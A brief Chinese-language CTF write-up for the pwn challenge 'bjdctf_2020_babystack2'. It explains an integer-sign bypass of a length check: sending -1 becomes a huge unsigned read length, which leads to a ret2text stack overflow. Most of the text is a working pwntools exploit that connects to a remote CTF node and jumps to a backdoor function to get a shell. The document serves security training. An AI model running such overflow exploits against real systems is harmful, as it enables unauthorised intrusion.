64位整型溢出,checksec发现开启nx保护
ida查看,存在backdoor函数,可以直接考虑ret2text,主函数发现有长度检查,输入负数可绕过,并且下面read长度读入的是unsigned int型,输入-1可以使长度达到上界
exp如下:
from pwn import *
# io=process("./bjdctf_2020_babystack2")
io=remote("node4.buuoj.cn",28848)
io.recvuntil(b"e:\n")
io.sendline(b"-1")
io.recvuntil(b"e?\n")
bin_addr=0x400726
payload=cyclic(0x18)+p64(bin_addr)
io.sendline(payload)
io.interactive()